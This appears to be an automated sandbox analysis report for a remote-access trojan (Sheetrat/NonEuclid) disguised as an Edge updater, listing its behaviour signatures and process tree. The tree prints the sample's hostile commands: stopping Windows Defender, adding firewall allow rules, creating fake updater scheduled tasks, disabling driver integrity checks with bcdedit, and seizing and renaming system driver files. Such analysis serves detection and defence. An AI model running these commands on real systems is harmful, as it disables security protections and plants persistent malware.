Analysis
- max time kernel
148s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
28/06/2026, 11:11
General
- Target MicrosoftEdgeUpdater.exe
- Size 389KB
- Sample260628-nacbjagy6l
- SHA256 ed9525a9f48e5148fbe62c94b195912783816219837c4ef96d88602417becc51
Score
10/10
Malware Config
Signatures
- Family: Sheetrat, NonEuclid rat
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Detects Sheetrat Payload 6 IoCs
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 6 IoCs
- Modifies Windows Defender TamperProtection settings 3 TTPs 2 IoCs
- Modifies security service 2 TTPs 2 IoCs
- UAC bypass 3 TTPs 24 IoCs
- Modifies boot configuration data using bcdedit 1 TTPs 8 IoCs
- Drops file in Drivers directory 50 IoCs
- Possible privilege escalation attempt 52 IoCs
- Executes dropped EXE 44 IoCs
- Loads dropped DLL 64 IoCs
- Modifies file permissions 1 TTPs 52 IoCs
- Stops running service(s) 4 TTPs
- Windows security modification 2 TTPs 6 IoCs
- Checks whether UAC is enabled 1 TTPs 12 IoCs
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in System32 directory 29 IoCs
- Drops file in Windows directory 2 IoCs
- Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 10 IoCs
Processor information is often read in order to detect sandboxing environments.
- Modifies Control Panel 4 IoCs
- Modifies Internet Explorer settings 1 TTPs 6 IoCs
- Modifies data under HKEY_USERS 54 IoCs
- Modifies registry class 42 IoCs
- NTFS ADS 1 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 20 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 38 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdater.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdater.exe"2⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- Modifies security service
- UAC bypass
- Drops file in Drivers directory
- Loads dropped DLL
- Windows security modification
- Checks whether UAC is enabled
- Drops file in Windows directory
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "FamilySafetyMonitor_2d0fb172" /F3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "FamilySafetyMonitor_2d0fb172" /XML "C:\Users\Admin\AppData\Local\Temp\c980903e-f011-410f-aa77-832a056caa44.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c sc start TrustedInstaller3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc start TrustedInstaller4⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc" config WinDefend start= demand3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "GoogleUpdateTaskMachineCore_9c8c4d8c" /F3⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol E: /S3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mountvol.exemountvol E: /S4⤵
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "GoogleUpdateTaskMachineCore_9c8c4d8c" /XML "C:\Users\Admin\AppData\Local\Temp\a7eca3c9-6934-4563-aa46-6e2477107684.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "UsbCeip_4aef86f9" /F3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "UsbCeip_4aef86f9" /XML "C:\Users\Admin\AppData\Local\Temp\fd87dedb-c9ee-490b-be1e-1e8c3bc0be37.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net stop WinDefend3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet stop WinDefend4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend5⤵
-
-
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Windows\IdentityCRL\production\WlidSvcGroupconfig.exe" enable=yes & exit3⤵
- Loads dropped DLL
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" /c schtasks /delete /F /TN "MicrosoftEdgeUpdater" & exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /delete /F /TN "MicrosoftEdgeUpdater"4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /tn "MicrosoftEdgeUpdater" /tr "C:\Windows\IdentityCRL\production\WlidSvcGroupconfig.exe" & exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /tn "MicrosoftEdgeUpdater" /tr "C:\Windows\IdentityCRL\production\WlidSvcGroupconfig.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol E: /D3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mountvol.exemountvol E: /D4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc" config WinDefend start= demand3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol F: /S3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mountvol.exemountvol F: /S4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net start WinDefend3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet start WinDefend4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start WinDefend5⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol F: /D3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mountvol.exemountvol F: /D4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c bcdedit /set testsigning on3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /set testsigning on4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol G: /S3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mountvol.exemountvol G: /S4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c bcdedit /set nointegritychecks on3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /set nointegritychecks on4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c takeown /f "C:\Windows\system32\drivers\null.sys" /a3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\drivers\null.sys" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c move /y "C:\Windows\system32\drivers\null.sys" "C:\Windows\system32\drivers\null.sys.bak"3⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c takeown /f "C:\Windows\system32\drivers\beep.sys" /a3⤵
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\drivers\beep.sys" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc" config WinDefend start= demand3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\beep.sys" /grant administrators:F3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\beep.sys" /grant administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c move /y "C:\Windows\system32\drivers\beep.sys" "C:\Windows\system32\drivers\beep.sys.bak"3⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c takeown /f "C:\Windows\system32\drivers\rasl2tp.sys" /a3⤵
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\drivers\rasl2tp.sys" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c move /y "C:\Windows\system32\drivers\rasl2tp.sys" "C:\Windows\system32\drivers\rasl2tp.sys.bak"3⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c takeown /f "C:\Windows\system32\drivers\raspppoe.sys" /a3⤵
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\drivers\raspppoe.sys" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c move /y "C:\Windows\system32\drivers\raspppoe.sys" "C:\Windows\system32\drivers\raspppoe.sys.bak"3⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c takeown /f "C:\Windows\system32\drivers\raspptp.sys" /a3⤵
- Loads dropped DLL
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\drivers\raspptp.sys" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c move /y "C:\Windows\system32\drivers\raspptp.sys" "C:\Windows\system32\drivers\raspptp.sys.bak"3⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c3⤵
- Loads dropped DLL
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol G: /D3⤵
-
C:\Windows\system32\mountvol.exemountvol G: /D4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol H: /S3⤵
-
C:\Windows\system32\mountvol.exemountvol H: /S4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c takeown /f "C:\Windows\system32\drivers\modem.sys" /a3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\drivers\modem.sys" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c move /y "C:\Windows\system32\drivers\modem.sys" "C:\Windows\system32\drivers\modem.sys.bak"3⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\BootFiles\BootExecutor.exe" /RL HIGHEST & exit3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\BootFiles\BootExecutor.exe" /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c bcdedit /set {current} testsigning off3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} testsigning off4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol H: /D3⤵
-
C:\Windows\system32\mountvol.exemountvol H: /D4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c bcdedit /set testsigning on3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set testsigning on4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol I: /S3⤵
-
C:\Windows\system32\mountvol.exemountvol I: /S4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol I: /D3⤵
-
C:\Windows\system32\mountvol.exemountvol I: /D4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol J: /S3⤵
-
C:\Windows\system32\mountvol.exemountvol J: /S4⤵
-
-
-
C:\Windows\IdentityCRL\production\WlidSvcGroupconfig.exe"C:\Windows\IdentityCRL\production\WlidSvcGroupconfig.exe"3⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Executes dropped EXE
- Checks whether UAC is enabled
- System policy modification
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_496724a6" /F4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_496724a6" /XML "C:\Users\Admin\AppData\Local\Temp\4936601b-c7bb-4981-9b8c-a559c4f72d5f.xml" /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol E: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol E: /S5⤵
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_8f79fc60" /F4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_8f79fc60" /XML "C:\Users\Admin\AppData\Local\Temp\c791a89c-702e-475d-9b0c-12e958a9c346.xml" /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol E: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol E: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol F: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol F: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol F: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol F: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol G: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol G: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol G: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol G: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol H: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol H: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol H: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol H: /D5⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol I: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol I: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol I: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol I: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol J: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol J: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol J: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol J: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol K: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol K: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol K: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol K: /D5⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol L: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol L: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol L: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol L: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol M: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol M: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol M: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol M: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol N: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol N: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol N: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol N: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol O: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol O: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol O: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol O: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol P: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol P: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol P: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol P: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol Q: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol Q: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol Q: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol Q: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol R: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol R: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol R: /D4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\mountvol.exemountvol R: /D5⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol S: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol S: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol S: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol S: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol T: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol T: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol T: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol T: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol U: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol U: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol U: /D4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\mountvol.exemountvol U: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol V: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\mountvol.exemountvol V: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol V: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol V: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol W: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol W: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol W: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol W: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol X: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol X: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol X: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol X: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol Y: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol Y: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol Y: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol Y: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol E: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol E: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol E: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol E: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol F: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol F: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol F: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol F: /D5⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol G: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol G: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol G: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol G: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol H: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol H: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol H: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol H: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol I: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\mountvol.exemountvol I: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol I: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol I: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol J: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol J: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol J: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol J: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol K: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol K: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol K: /D4⤵
-
